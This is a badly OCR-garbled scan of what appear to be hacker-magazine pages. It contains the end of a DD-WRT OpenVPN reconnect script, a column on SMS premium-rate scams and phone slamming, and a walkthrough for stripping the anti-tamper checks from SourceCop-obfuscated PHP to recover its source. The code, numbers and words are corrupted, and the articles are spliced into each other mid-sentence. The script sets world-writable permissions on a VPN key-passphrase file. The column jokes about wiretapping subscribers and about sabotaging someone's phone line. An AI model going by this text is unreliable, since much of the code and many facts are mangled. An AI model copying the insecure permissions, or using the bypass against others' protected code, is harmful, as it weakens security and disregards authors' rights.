echo' iptables - I I NPUT - p tcp - -dport 22 - j logaccept ' » /tmp/vpngo2 .sh
echo result . 'ifcontig tunO 2>&1 I grep -c RUNNING" » /tmp/vpngo2 .sh
echo done ' » / t mp/vpng o 2 . s h
e cho r esu1 t . -ifconf ig tunO 2 >&1 I grep -c RUNNING" » / t mp/ vp ngo2. s h
e cho I fi ' » /tmp/vpngo2 .sh
echo f i I » / t mp/vp ngo2. s h
e cho sleep II ' » / t mp/ vp ngo 2 . s h
echo ping1oss2 . -ping -c 5 172.16 .201 .11 I grep -
- c -100' packet loss- 'I » / t mp/ vpng o 2. s h
echo if I $pingloss2 - eq 1 ). » I t mp/vp ngo2. s h
echo then ' » Itmp/vpngo2 .sh
echo I sleep 10 ' » /tmp/vpngo2.sh
echo' pingloss2. ·ping -c 8 172 .16 .201. 11 I grep -
.. c -lOOt pa cket loss· - I » / t mp / vpngo2 . sh
echo it [ $ping1oss2 - eq 1 J ' » / t mp/vp ngo2. s h
e cho I then ' » / t mp/ vpngo2 . s h
echo J p inglossJ -'ping -c 8 ··· ~OUR PUBLIC I PCOP
- SERVER· · · grep -C -lO Ot pa cket 108S - '1 » ! t mp/vpngo2.sh
echo if ( $pingloss3 - eq 0 J' » /tmp/vp ngo2. s h
echo t he n' » / t mp / vpngo2. s h
e cho k i l lal1 openvp n ' » /tmp/vpngo2 .sh
e cho sleep 1 1 » /tmp/vpngo2 .sh
e cho /usr/sbin/ openvpn - - cont ig /tmp/openvpn/openvp n .
" c ont --rout e-up /tmp/ openvpn/route-up.sh - - down / t mp/openvpn/
.. route -down .sh -- a s Kpa ss /tmp/ke ypa s s & 1 » / mp/vpng o 2 . sh
e cho' s lee p 2 ' » / t mp/vpngo2. s h
echo fi ' » I t mp/ vp ngo2. s h
e cho I fi l » / t mp/vpng o 2 .sh
e cho I fi l » / t mp/vpngo2 . s h
echo' done' » /tmp/vpngo2. s h
chmod 777 Itmp/vp ngo.sh
c hmod 777 /tmp/ vp ngo2 . sh
chmod 777 /tmp/ke ypass
s h /tmp/ vpngo.sh &
s h /tmp/vpngo2.sh

·· · DD-WRT Firew a l l Script · · · ·
ipta bles -t nat - I PREROUTING -i t unO - p udp --dport
" 5000 : 5300 - j DNAT -- t o - de s t i na t i o n 192.168.1.10
iptab1es - I INPUT -p LCp - -dpor t 22 - j logaccept
iptab1es - I INPUT - p tcp - -dpo r t 44 3 - j logaccept

The router stayed con nected and was reconnecting when necessary. This was to be the
rock solid remote IP pho ne solution I was searching for. However I wanted others to also
manage the server and to be able to set up new certi ficate (phone u ers) when nece sary
and my 5u5e setup via certificates would be a challenge for non-Linux adm ins. 50 I needed
an easier more user-fri endl y management interface. IPCop with "Zerini" would fit the bill
perfectl y. I installed IP op with the OpenVP add-on "Zerini." I was surprised at how easy it
was to configure multiple OpenVPN tunn els w ith the built in cert ifica te manager. As for the
DD-WRT box , all I needed to have the end users do was to plu g it into any DH CP enabled
network with Internet access. That it ! I then convinced management to purchase 65 Linksys
WRT54GL s for less than 45 each and flashed them with DD-WRT (v23sp l -vpn ). However
you don 't necessary need to pur hase WRT54GLs. Any supported router li sted on the DD­
WRT site will do. We now have over 60 remote users (sales, support, etc.) that rely on their
phones every day, and already have plans 10 more than double the number of users! I have
tested this with Nortel 's i2001, i200 2, i2004, and i2007 IP phon es. You can also use thi s setup
to connect remote offi ces as well , not just Nortel IP phon e!

Thenks to "BrainS/ayer" for DD-WRT (www. dd-wrt.cotn) and tile IPCop crew ( WIVW.

.. ipcop.org)!
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Greetings from the Central O ffi ce! It 's
hard to believe that summer is already here,
but the solstice is just around the co rner and
the rain has already gotten a litt le warmer.

Although I rarely see the sun from my
wi ndow less workp lace, we actually get
a lot of it dur ing the summer. Here in the
Pacific Northwest, the sun rises just after
five in the morning, and doesn't set until
after nine at night. With only three months
a year of semi-decent wea ther, peopl e spend
a lot more time outdoors, and mob ile phone
usage skyrockets. Capit al ism bein g what it
is, unscrupu lous mobile service pro vid ers
are lurking in the shadows w ith an inter­
esting new way to make a quick buck . And,
lik e our ind igenous (..ind revolting) banana
slugs, they 're leaving a trai l of sli me wh er­
ever they go.

The more that scams change in the tele­
communications in dustry, the more they stay
the same. D uring the 19BOs, premium-rate
"information services" such as 976 , 540, and
'JOO numbers were int rodu ced. Although
there we re a few exceptions (such asp,ly-per­
call technica l support lin es), these services
were mostly scams intended to bilk unsus­
pecting subscr ibers. They 'd offer dial-a-jo ke,
d ial-a- moan, or other services of dubious
value, adding eye-poppi ng (and often undi s­
closed) charges to a subscr iber's monthl y
bi l l. Wh en you received an outrageous
phone bill , M ol Bell wo uld cla im that they
we re just a bi ll ing agent, but then threatened
to shut off you r phone if you didn 't pay the
so-called "third party" charges. There were
few (if any) regulations aroun d disc losure of
pay-per-call charges, or opport unities to opt
out of them.

Eventually, both the FCC and numerous
state publ ic uti lit y commissions intervened
to stop the madness. They required Ma
Bel l to block "inform ation service" pay-per­
call numbers at no charge upon request.
and prohibited disconn ect ion of your
line for fai lu re to pay third-part y charges
(provided that you paid your local servi ce
charges on tim e). Add it ion al requirements
were placed on servic e pro viders, forc ing

them to both disclose pricing up front and
allow subscribers to hang up w ithout being
charged if they didn 't agree. Predictab ly, the
market for such "information serv ices" effec­
tively dri ed up - after al l, it's only profitable
to run a scam if you can both foo l a sucker
and force them to pay without recou rse.

Well , fast forward to 2007 and the same
thin g is happening allover again. Ever heard
of Dada Mobile? Blinko? Jamster? Until
recently I hadn't, but I prefer to spend my
even ings in the central offi ce performing
"service monitoring" of my subscribers'
pr ivate conversatio ns. Hey, if the NSA
doesn't need ,1 warrant, I figure that I don 't
either. However, if you watc h MTV, Amer­
ican Ido l, or any television show with a
main stream audience, you' ve probably
encountered an ad for a "premium-r ate text"
serv ice offered via an SMS short code. In
other words, vote for your favorite celebri ty
and get soaked on your cellular phone bill.
O r, it you're creative, maybe soak someone
else' s cell ular phone bill. ...

SMS short codes (referred to as Commo n
Short Codes or CSCs) are five-d igit and six­
digit codes issued by the CTIA, a cell ular
indu stry lobbying group. Any one can lease
one, at costs ranging from $SOO per month
(for a randomly issued CSC) to $1000 per
month (for a vanit y CSC). This gets you the
number assignment and maintenance in
the CSC database (w hich is performed by
NeuStar, a compil ny that con trols a shocking
percentage of cell ular networ k infrastruc­
tur e; among other thi ngs, they also contro l
system ID assignments). However, ow ners
of CSCs must negotia te interconnection
agreements w ith every wireless carrier indi­
vi dually. A lternati vely, they can work with a
service provider (such as VeriSign - anoth er
cor poration w ith an incredible degree of
influence in the wi reless indus try) who has
exist ing interconn ection agreements with
most carriers.

Armed w ith a short cod e and an inte rcon­
nect ion agreement, you 're in busine ss! Just
fool some sucker (often a child) into sending
you a text message and you can then tack
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(of w hich there were many at the time).
How ever, the fine print on the back indicated
that your signature author ized sw itching
your lon g distance serv ice to AT&T. And
for a few years, it seemed like no dinner in
Am erica would ever go uninterrupted by a
sales pit ch from a long di stance company.
Some companies d idn 't even both er asking
for author izatio n. They'd just switch you to
their long distance serv ice (often bill ed at
outrageous rates). Many consumers didn't
even not ice.

Ivontually enough pol iti cian s we re
personall y affected by the prob lem and the
r-CC cracked down again. Subscr ibers now
have the right to in it iate a "PIC Freeze,"
whic h requires the subscr iber to contact
their local phone company to change long
di stance carriers. Unscrupulous carriers who
engage in slammi ng are subject to fines and
even cr imi nal penalties. And, for the most
part, it doesn' t matter much anymore as most
subscr ibers use their cell phones for long
distance these days. Without much fanfare,
AT&T exited the residential long distance
market late last year.

TIH'SL' days we 're begi nni ng to see a
di ifL'rL'n l kind of sl.1mm ing - c('11 phones! For
the past fpw years, you've boon able to takv
your phone number w ith you when changing
carrie rs. Unscrupulous wi reless phone
com panies have used this to their advantage.
They call, introduce themselves as SOITlP­

th ing like "Your Wire- less Phone Compa ny"
(that 's their actual comp,lIly name, just like'
the long distance carrier calli ng itself "The
Phone Cornp.mv"), and offer to send you
a new, free phone. If you agree, they wi ll
indeed send you a free phone - il long with .1

brand new service provider, a brand new rate
plan (at unfavora ble rates). and .1 brand new
contract w ith ,1 heity eMly t\'fmination i('p.
Adding insult to injury, you r previous w ire­
less provider wi ll also bi ll you an early termi­
nation fee if you we re sti ll in con tract with
them. And all of this is being done legill ly,
under proce dures outlined by the r-e:c.
Speaking of the law of unintended co nsr ­
quences, your existing w ireless prov ider is
prohihit r-d by l.iw from even warning you
that you might be the vic tim of a scam.

And on that noll ', an outside plant techni­
c i.m to ld me that wore headed for a few sun
breaks and the clock tells me that my shift is
over. It' s time to gt' t outside and enjoy the
weather! Have a fun summer, watch out ior
phon e scams, and I' ll see you again in the
[all . O r perhaps. if you' re lucky enough to
visit the spectacu lar P.lci fic Nort hwest, you'll
even St'L ~ me at a 2 !J()() meeting!

absurd charges (w hich can recur as often as
weekl y) onto their phon e bi l l with virtual
impun ity. Sure, there are some vo luntary
industry pro vi sions and codes of conduct,
w hich in practi ce are just so much horse
manure. It' s just li ke the bad 010 days of the
19110s. Charges are bil led with scant (if any)
disclosure and wireless pho ne compa nies
threaten to shut their customers' phones off
if the third-party charges aren 't paid. The
difference is the sheer audacitv with which
thi s is don e and the almost complete lack of
recourse. Wireless telecommunications OJ\'
design) is a vir tually unregul ated industrY.
Don' t expect reli ef from the FCC or public
uti l ity commissions on this one. And with
Congress in the pocket of lobbying groups
such as the CTIA, this problem is un li kely to
ever be sol ved.

(l3ytheway, thanks, Erratic , forsubscribing
my cpll phon e to eight separate rin g tone
download and celebri ty update services thi s
morning. I can't wa it to get my bill and I
hope you don't mind that the USOC on your
I'OTS line changed to 12B. O ops, my finger
slipped.)

So, let's rew ind to the I ()/lOs again. In
1984, the lo ng distance market was deregu­
lated. M( ISt subscribers stayed with AT&T, but
upstarts MCI and Sprint qui ckl y grahbod the
N umber Two and Nu mberThree sharps in the
market respect ively. By the late 1980s there
we re over .1 dozen lo ng di stance com panies
and by the early 1990s there we re literall y
hundreds, The market became increasingly
cutthroat and providers LIme up w ith all
sorts of interesting ways to gain you r long
distance business. For example, one long
distance company did busi nessas"The Phone
Compa ny" so any (often elder ly) subscriber
that asked for "The Phone Company" as
thei r long dis tance prov ider wou ld get them
- not surpr isingly, at noncompetit ive rates.
Another cO/llpa ny, LCI, sold its services via
mult i level /ll,l rketing, often alongside prod­
ucts l ike Arnway and Mary Kay. Evidently, it
paid off. Today I.CI is Qwest, one of the few
remaini ng B,lby Bell s (Qwes t acquired US
West in 20(0) . And everyo ne has probably
heard the story of c igar-chompi ng Missis­
Sippi scam art ist Berni e Ebbers, form er CEO
ot WorldCo/ll and now Inmate ::')(,022-054
at FCI O akdale,

With all of th is compe titi on, a prac­
tice know n as "slamming" became a major
prob lem. Long distance companies wo uld
use dub ious (often bord ering on unethi cal)
methods to sw itch you to thei r long distance
services. For example, AT&T mail ed mill ions
of $100 checks. These looked li ke rebate
checks, perhaps from a legal settl ement
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Deobfusca
information l ike credit
originil I author?

Well , luckil y, w ith scripting languages.
obfuscatio n is diffi cul t to art ual lv secure.
There's no way to run a generic program on
such cm fl' anrl result in a completely ir revers­
ib le encryption for t)l(' same reason D RM is
fundamental ly flawe d: you have to decrypt it
somowh ero in order for it to run. You 'd need
some sor t of self-generating code to do it, but
even then the very thi ng whi ch makes inter­
preted languagos so flexibl e (the oval func­
tion/statement) that would have to 1)(' used
to implement th is can, w ith some effor t, be
intercepted so that eventually you find the
origina] code. Ot her tricks invol vin g the use
of externa l libraries are unlikelv because
of the complexity to the user (th(> one who
wan ts to ohfusca«: their code) and security
reasons, pspeciil ily in web development .

Sou rccCop
W e're going to use as our case study

Sourcct.op. avai lable from h ttp: / / ..•...w .

... s o urc e cop . com/ for only $30 (regulil.r
price $45!) with the nice guarantee that
SourceCop 'd code runs on all of Un ix/Linux/
BSD/Mil.cIWindows (w hich is nothing more
than the li st of pl atforms for H iP...).

So, first of all we install PHI' (from ht.t.p : / /

... ph p. net or your local pilc kage mi rror if on
il. ' nix), if not alreadv instal led, and then w e
get to w ork. .

Looking at a SourceCop'd script ~(.:..see-.:-
dhcart . php #a c t ua l ob f u s cated s cript
scop b i n/

91 1 0 06 . php # s uppo r t c o de

From our knowledge of e e l scripts (of which PHP scripts are a subset) in general, w e
know that the w ebsite h Ltp : / / e xampl e. o r g / p il t h / t o / s c ri p t / dh c il r t.php will cause PHP to
load and run dhcart.php . PHI', bc lng a scr ipting language, just runs from the top. so we can
start tracing the code immediately and looking for WilyS to get at the actual code:

by Kousu
kousue sogmail.com

Boilorplat»: I don 't off ic ial ly co ndone any
of these activ it ies, of course. Use vour own
judgmenl. '

Introduction
Compiled languages leI you di stribut e

bi naries which, although all the mach ine
code is there, are generally extremely
l ime-consuming to d isassemble. Scr ipt ing
languages do not haw such a luxury. They
doal at a high level, and runn ing code on
their level requires using high-level constructs
(unl ike w ith compiled languages, wh ere the
output is very low level and tho security is
that 1) inform ation - names, indenta tio n,
etc. - is lost in the compilation and 2) not
milny peop le have the ski lls to do the reverse
operation).

In the scripting languil ge world, there are
.1 greil t deal of id io ts and/or liars who scam
even big ger id iots by promi sing that no one
w ill be able to "steal" their source code.

It should send up il warning f lilg if you
r-ver conside r using obfuscated code, pspe­
cially if it's obfus cated. In prin ciple, thi s is as
bad as binary blobs, w hich have led to, for
example. rootkitabi lit y of every system using
W i-Fi. In the great tradition of parano ia of
this great zinc, consider that no one knows
what the script is up to. Is it fu ll of bugs?
Is it phoning home and giv ing confident ial

$Iess dhcart.php
<?php i f ( l ':unct i ol1_ C' x i s :' B ( ' fi nd ny s fcl dc r '} ) {f un ct.i on f indsys f o ldc r ($f l d ) {Sf l d l =rl i
.. nHiIT: 8 ( $ f: In ) ; $f Ld c Sf Ld 1 . 1 /scopbin I ; c l ear s r.e t cectie ( ) ; .i f ( ! i s d ir ( s f Ld ) : r etu rn f i nd s
... ya f o Ld e r ( $ f ldl ) ; e l se r-e t.u rn S f Ld , } } requi r e_on c.: e { f incls y sfolde r (_ F l LE_ J ' 1/ 9 1 10 0 6 .
.. php' l ; $ REXI ST HF:CI"lT 4 FBT ",,' FESOE:'-I 4. D7 54E76 A(,()79 F'2 4 2F4S0 F"1 6BFB~j DCB77 F3 4DF. ~41

[ . , .sni p a l o~ o f He x . .. ]
SREXISTHECAT4 FB I_ I 94CD7E'1CD1'l lCSA'l BC70C1 86E77 9C29 3B9I349BACA:,A'l8IA6 I j

- e v a l (y0 666 f Oecde e d 3 Rd 4cd9 0 8 4ade l '13 9 4 98 ( r 31 1 FU C444 9 1".31 O"I ICO I , OHEX1 S 'l'HEDOG4 F BI ) ) ; ? :>

So we see that it defin es a function " findsysfolder" if it doesn' t exist . At the end it call s
a function that itself has an obfuscated name ("y06('6fOacdeen38 d4cd')OB4ade1739498")
with tw o arguments: a string of hex (prob.ib ly more oh fusr .uion /) and il variab le $REXIS-
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THEDOG4FBI. whic h is defined as a big block of hex which is certainly the obfus ca ted code
(incidentally, th is program always uses the sam e stupid var iable nam e) and then passes th is
straight into eval f).

This last po int is our attack vector, the weakness I spoke of. In fact, SourceCop ap pears
to be ove rly simp listic (and it pro bably is). It only has o ne eval O ca ll in the e ntire block, so
whateve r th is eva l does is the entirety of the function of this script and what is passed into it,
by definition of eva lf), must be the plaintext code. So simply repl acing eva lOwith a printOwill
give us the co de! Sure, it's possible the code cou ld be mult iple-obfuscated and that this wo uld
just give us another obfuscated block of so urce code, bu t the n you just repeat this process
until you get to the final pla intext. And tha t is why obfus cat ion is useless and why anyone who
has the ga ll to se ll a shitty "product" that does it deserves to lose his balls.

Back to the code :
So we replace this eva l with "pr int" and then hop to the co mma nd line:

$ed -/dheart/
$php dheart.php

Wh at?Very strange ly we got no outpu t! Perhaps it's time to chec k out wh at 's in that myste­
rious sco pbin file (incide nta lly this same file is used for every SourceCopping):

$1 ••• • e opb i n/9 11 0 06 . p hp
<? p hp ini_set( 'inelude-path' , dirname( __FI LE__l ) ;
[ • •• J
function g0666fOacdeed3go666fOacdeed38d4cd9084ade1739498 ($s ){return (strs t
- r ($a . ' e c ho ' ) •• false? (strstr ($ a , I print' ) ••fal Be) ? (strstr ($8, I s print ' l ••
- f a l s e l ? (s t r s t rl sa, 'sprint f ' ) aafalse) ?false : exi t () : exit () : exi t () : e xi t () ) ; }
[ . . . ] ini_set ( I i nclude'-pat h I •• . I ) ; ? >

It see ms to be more of the same, except help fully PHP requires nam ing varia bles w ith $
signs so we ca n spo t that these are mostly not obfusca ted co de bu t rath er aw kwa rd ly nam ed
variabl es . So th is here is a pro gram . Also, PHP req uires the use of {} so we can figure out wha t
the inde nta tion sho uld look like. Initially when I did this I put new lines in a ll the right places
and using the magic of find-a nd-replace I sho rtened all the names and traced throu gh it trying
to und erstand. But the quick fix here is simpler than that and I will cut to the chase. Nea r the
middl e we see the use of "strstr($s, 'print')" amo ng othe rs in a ternary hook chai n, whe re all
the final else cla uses are "exitO". It's a goo d bet that this file is lookin g inside our source file for
any uses of ec holprint/sp rint/sprintf (i.e ., any attempts to do exactly wh at we 're doin g) and if
so just killing the program . Simply rem ovin g th is check sho uld make it work , so long as there
are no othe r blocks. There a re multiple ways of remov ing it: the qu ick-and-dirti est by far is to
just rename what it's sea rching for.

Most reliab ly, repl ace all the exitO ca lls with some benign return value, like a false, as
show n. Or even better, blank the functio n body, remove everyt hing, and just put a "return
false;" .

$ed -/dhc a rt/
$php dhcart. php
< ? p hp

include ·phpmailer/class.phpmailer .php· ;
include ·who i s servers.php·;
i nclude -language.php-;

if (lempty($HTTP_GET_VARS» wh i l e ( l i s t ($name . $value)
_ a each($HTTP GET VARSII $$name. $value;
if (l i s s e t ($HTTP SESSION VARS('numberofitems'] 11

$HTTP SESSION VARS( 'numberofitems'] .O;
if (lisset($HTTP SESSION VARS('numberremoved'] »

$HTTP_SESSION_VARS['numberremoved' J .O ;

$numdomreg-count ($register);
·c
$'hooray , we se. t hat it works an d s t op it before i t '.
fini.he d . How to e ave t he r esult . t o a f i l e .
$php dhea r t. p hp > dhcart .d.crypted. p h p

Discussion
SourceCop is a pa rticularly wea k obfuscation. All it does is use a cypher functio n to hide

the co de and then make it d ifficult for a human to follow the decrypt ion co de by using long
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me.mlngless variab le names. But the basic technique is the same for any of these systems.
l hcse systems an' just dow nright stupid. Friends Do n't Let Friends Use Obfuscators.

The metho d presented hen' - lett ing unknown code run on your system - is potentiall y
d,lngprous. It' s not implausibl e that an obfus cato r could try 10 detect if it 's being run w rong ly
<omehow and cause damage of unknown magnitude. Sure, if that boo by trap was ever set
"if incor rectly it could be very bad for the obfuscator' s business, but w ith the level of short­
'ightedm'ss blatant ly d isplayed here it 's a perfect possibility. It would be w ise to sot up a jail
' y, t<'m to tesl these thin gs out on. If running a ' nix you can rn .ik« a chroot j,l il to do this,
Another method is to Iran' the code manua ll y, try 10 figure out w hat it 's up to, and then w rite
.I program irnpl ornenting the decrypt ion scheme. Let's see that now. But first, a preface.

in digging through SourccCop I fpell ike vomiting. It 's disgustin g, di sgusti ng code and just
w.lsting CPU cycles Iptti ng it run is nauseating.

Reverse Engineering
But anyway, hero is the scopbin/9 1I OO(,.php fi le indentod prope-rly:

t llncrion A4~ 4 0acdc ed 3 8 d4cd 9 0 84ade 1 7 3 94 9 8 ( $ x 8 9 1 3 ~ 6 9 S 4 c2 cd 3 d4 1 h

- 22 1p 3 t 2 4 f 99b ba, $x 2 76e 7 9 1 16 56 17 3 3d 64a b d f OOt 8e 8a e 4 8 l
{re t u r n Sxew6e 19J 1 656 173 3d 64ctbd f OOf Be Ba e 4 B; }

lun c t i o n h5 434 f Oacdeed] 8d4 cd 9 0 8 4 ade1 7 3 94 9 8($x 8 q 7 3~b 9 S 4 c2 cd]d41

- t,22 1 e 3f 24 f 99b b a , $x 2 7 6e 7 9 3 16 56 1 7 3 3d 64 a b d f 0 01 8e 8a e 4 8 1
(, ct u r n $Xew 6e 7 93 1 6 561 7 33d 64 a b d f ODf 8 c 8a e 4 8 ;)

t UTlc t i c n c 4 3d s d Oa c d e e d 3 8d 4 c d 9 08 4a d e 1 739 4 9 8 1$x 8 97 35 E9 54 c 2 c d 3d 4 1
-b2 2 1 e 3 f 2 4 f 9 9bba , $x 2 7 ~ e 7 9 3 1 6 5 6 1 7 3 3 d64 abdf O O f 8 e 8 ae 4 8 )

{ l-e t urn $Xew 6e 7 9 3 16 56 17330 64 a bd f OOf 8e8 a e4 8 i }

lunc t ion XdBf Oa c d e e d 38d 4c d 90 84 a d e 17 394 9 8 ($ x89 735 6 95 4c2cd3 d 4 1b
- 22 1e 3 f 24 t 9 9b b . $x2 76e 7 9 3 16 561 7 33d64abd I ODI 8e8a e 48 1
{I t u r n $X w6e 7 9 J l 56173Jd6 4 bdI ODI 8 e 8 a e 48 ; }

rune Ion y066 r o cd d 38d4 cd9 084ade 17 J 9498 ($ x 897356 95 4c2cd3 d 4 1
- b 2 2 1e 3 r 24 r 99 bb .$x276e793 1656 17J3d6 4a bd I OOI 8 e 8a e 4 8)
{
$ x Ob 4 3C2 5 c c I 2 34 De 2 3 4 9 2d 4d 3 14 14 7 9d c . ' , ;
~ x 7 1 5 1 0 c 0 8 e 2 J d2 0 8 3 eda 2 8 0 a fa 6 5 0b 0 4 5 = O i

~ x 1 6 7 5 4 c 94 f 2 e4 8 a ae Od6 f 3 4 2 B 0 5 0 7be 5 8 = 8 t rl en ( $x8 9 7 3 5 6 9 5 4 c 2 cd3 ci4 1 b2 2 1 e 3 f 2 4 f 9 9bba } ;

$x 7a 86 c 1 57e e 97 1 3c 34 f b d 7a l e e 4 0 f Oc 5a =h e x d e c ( ' &H ' .
- s ub s t r {$x 2 7 6e 7 93 1 65 6 1 73 3d 6 4a bd f DDf 8e 8 a e4 8, 0 , 2 1 ) ;
l or{ $x 1b 90e 1 D3 5d 4d 2 6 8e Dd 8b I 3 77 f 3d c 8 5 a 2 =2 ; $x 1b 9 De 1 D3 5d 4d 2 6 8e Dd 8b 1 3 77 f 3d c 8 5a 2 <s t r 1
- e n ($x 2 7 6e 7 93 1 6 56 1 73 3d 64 a b d f DDf 8 e 8a e 4 8 ) ; $xlb9 0el D35d4d2 6 8 e Dd 8b1 3 77f 3d c 8 5a 2+ =2 )

{
$x e5 94 c c 2 6 1a 3b 2 5a 9c 9 gec7 9d a 9c 9 1b a 5 =h e x d e c {t r i m (s ub s t r ($x 2 76e 7 931 6 5 6 1

- 7 33d 6 4abd f ODf 8 e 8a e 4 8, $ x1 b 90e ID3 5d 4d 2 6 8 e Dd8 b 13 7 7 f 3dc 8 5a 2, 2))1 ;
$x71 51 Dc D8e 2 3d 2 D8 3e d a 2 8 Da t a 6 5 Db D4 5 = { ($x 71 51 Dc 0 8e 2 3d 2 D8 3e da 2 8 Da f a 6 5 Db D4 5 <$x 1 6

- 7 54 c 94f 2 e 4 8 a a e Dd 6 1 34 2 8 DS D7b e S8 1? $x 71 5 1 0c D8 e 2 3 d 2 D8 3e d a 2 8 Da la 6S0b D4 S + 1 ; 1 1 ;
$xa b63 8ge 47 b l e dc f la52 6 7d9cfb513ce5=$xe59 4cc2 61a3b 25 a 9c9gec79 d a 9c9 1ba5 ~ ord( s ub st

- r ($x 8 97 3 56 95 4c 2 c d 3d4 1b 2 21 e 3f2 4f 9 9b b a , $x7 15 10c D8e23 d2D83eda28D a fa650 bD45-1 , 1 1 );
if ($xab6 38 ge 4 7b l edcf l a 52 67d 9c f b 51 3ce5 <=$x7a8 6c 1 57 e e9 71 3c 34 f b d 7a lee40 fO c 5a )

$xab638ge47bledc f la526 7 d9 cf bS 13ce5 ~255 + $xab63 8ge47bledc i l a

-' S2 67d 9c f b S1 3c e 5 - $x 7a 86c l S7e e 9 7 1 3c 34 f b d 7a l e e 4 0f Oc 5a ;
e l s e

$xab 63 8ge47 bledc f l a526 7d9cf b SI3ceS" $x a b63 8ge47 b led c fl a5 2
- 6 7d 9c f b 51 3c e S - $x 7a 8 6c 1 5 7e e 97 1 3c 34 f b d 7a l e e 4 Df Dc 5 a ;

$xOb4 3c25ccf 23 4De23 492 d 4d3 14 1 479dc =$xOb43c2 5ccf23 4De23 492d4
- d 31 4 1 4 7 9d c . c h r ($x a b 63 Bge 4 7b l e d c f 1a S2 67d 9c f b 5 1 3c e 5 ) ;

$x 7a 86c 15 7ee97 13c3 4 f bd7a lee40fOcSa =$ xeS 94cc2 6 1a3 b 25 a9c9gec7 9d a 9c9 1b a Si
}

r e t u r n $xOb4 3c2 5c cf2 34 0e 2 34 92d 4d31414 7 9d c ;
}

f u n c t i o n f 54 34f Da c d e ed3 8d 4 c d 9 D8 4ade1 7 394 98 ($x8 97 3 56 9 54 c 2c d 3d 41
- b 22 I e 3 f 24f 99bb a , $x 2 7 6e 7 93 1 6S6 1 7 3 3d 6 4a b d f DDf 8 e 8 a e 4 8 )
{
i f (file e x i s ts ($ x4 56 e 7 93 1 6S617 3 3d 6 4abdf DDf8e8ae 48 ) )

{u n link($x456 e79 31 6 5 6 17 33d6 4abdfOD f 8e8ae 48 1 ; } ;
ret ll rn $Xe w6e19316 5 6 11 33 d 64abdiO OfB e8 a e 4B ;
}

functi on j 4 3d s d Oa c d e e d 3 8d 4 c d 9 D8 4a d e 1 7 3 94 98 ($x 8 97 356954c2cd3 d 4 1
- b 22 1e 3 f 2 4 f 9 9b b a , $x 2 76e "l93 1 6 56 173 3d 6 4 a b d f DDf 8e 8a e 4 8 1
{
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if l fi l e e xistsl$x456e79316561733 d64abdfOOfBeBae4B)
{u nl i ;l k ( $x 4 56e79 316 56 17 3 3d64abdfOOf 8e8ae4 8) ; } ;

return $ Xew6e79316561733 d64abdfOOf8e8ae 48 ;
}

function hd sfOa cdee d 38d 4c d9 0 B4 ade 1 7 3 94 9 8 ($x897356954c2cd3 d 41b
" 2 21 e 3f 2 4 f 9 9b ba , $x 2 7 6e 7 9 3 1 6 56 1 7 33d 64a bd f OOf 8e 8a e 4 8 )
{
if (file ex i s ts ($x4 5 6e7 93 16 5 6 1 7 3 3d 64abdf OOfBe8ae4B )

{un l i ;l k ($ x4 5 6e 7931656 1733 d64 a bd f OOf8e 8a e 48 ) ; } ;
return $Xew 6e7 9 3165 617 3 3d 64 abdf OOfBe 8ae48;}

functi on t r 543 4 f Oacd eed3 8d 4cd90 84 a de17 39 4 9 B I$x 89 7 3569 54c2cd3 d 4
" 1b 2 2 1e 3 f 24 f 9 9bba , $x 2 7 6e 7 9 3 165 6 1 7 3 3d 64a b d f OOf Be 8a e 4 8 )
(
i f I f i l e exi st s {$x4 56e793 1 65 61733d64abdfO Of 8eBae48)

( u nl i ;l k l $x 4 5 6e 7 931 6 56 1 733d 64 a bd f OOf 8e 8a e 4 8 ) ; } ;
return $Xe w6e793 1656 17 33d64abdfOO f8e8ae48 ;
}

f unction f0666fOacdeed38d4cd90B4ade 17394981 $x)
(return i mplode I ' ' ,I ile I$x) ) ; }

f unction g0666fOacdeed38d4cd9084ade1 739 4981 $s)
{
return (strstr( $s , ' echol ) ~ = f a l s e ?

(s t rs t r (ss , 'p r i n t r J :c f a l s e ) ?
(at r a t r t s s , ' s pri nt ' ) •• false)?

(stretr ($8 , I sprint f I ) •• false) ?
fal s e:
exit I ) :

ex i t () :
e x i t () :

ex it I») ;

function hy r 3ds d Oa cde ed3 8d4 c d 9084ad e 17 3 94 9 8 1$x 8 97 3 56 954 c 2cd3d4
" l b 22 1e 3 f 2 4 f 9 9b ba , $x 2 7 6e 7 9 3 165 6 1 733d 64a b d f OOf 8e 8a e 4 8 )
(
i flfile e xistsl $x 456e 793 1 6561733 d6 4ab dfOOf 8eBae48)

( unli ;lk($x 456 e 7931656 1 733 d6 4abdfOOf8eBae 48) ; } ;
re tu rn $Xe w6e79316561 733 d 64a bdfOOf8e8ae4B; }

f unction uyg f Oacde ed 38d4cd90 8 4a del 73 94 9 B ($x 8 97 3 56 954 c2cd3d4 1b
" 22 1e 3 f 2 4 f 9 9b b a , $x 2 7 6e 7 93 16 56 1 73 3d 64a bd f OOf Be 8a e 4 8 )
{
if(fi le exists ($x456e793 16561733d6 4abdfOO f Be8 ae48)

( u nl i;lk l $x4 5 6e 7 931 65 6 17 33d 64 abd f OO f 8e 8ae4 8) ;} ,
return $Xe w6e7 93 1 65 6 17 3 3d 64 abdf OOf 8e Ba e 4 B, }

functi o n d rfg34 f Oa c d e e d 3 Bd4c d 9 084 ade1 7 3 94 9 8 ($x897356954c2cd3d4
" l b 2 2 1e 3 f 24 f 99b b a , $x 2 7 6e 7 93 16 5 6 1 7 33d 64 a bdf OOf Be 8a e 4 8 )
{
if l f i le e x i stR ($x4 56e 7 93 16 56 17 3 3d6 4 abdfO Of 8e Bae48 » )

( u nl i ;l k ($x 4 56e 79 3 16 56 1 73 3d 64 a bdf OOf 8e Ba e 4 B) , } ,
r eturn $Xe w6e 7 9 31 6 5617 3 3d64 abdfO Of 8e Bae4 B; }

function j hkgvdsdOa c d e ed3 Bd4cd9 0B4a d e 1 7 39 4 98 ($x8 973 56 9 54 c 2 cd3d4
" l b 22 1e 3 f 2 4 f 9 9bb a , $x 2 76e 7 9 3 1 6 56 1 7 33d 64a b d f OOf 8e Ba e 4 8 )
(
if(f ile exists l $x 4 56e79316561733d64abd fOOf 8eBae4B»

{unli;l kl $x456e7931656 1733d64ab dfOO fBeBae 48) , };
return $Xe w6e793 16561733d64abd fOOfBeBae 4B ;
}

f u n c t i o n yrdhhdacdeed3B d 4cd90B 4ade1739498 ($ xB97356954 c2cd3 d 4 1
" b 2 21 e 3 f 24 f 9 9b ba , $x 2 76e 7 93 1 6 56 1 7 33d 64a b d f OOf 8e 8a e 4 8 )
(
if (file existsl $x456e79316561733d64abdfOOf8e Bae4B ) )

( u n l i ;l k I$x456e7931656l"l33d64abdfOOf BeBae4 B) , } ;
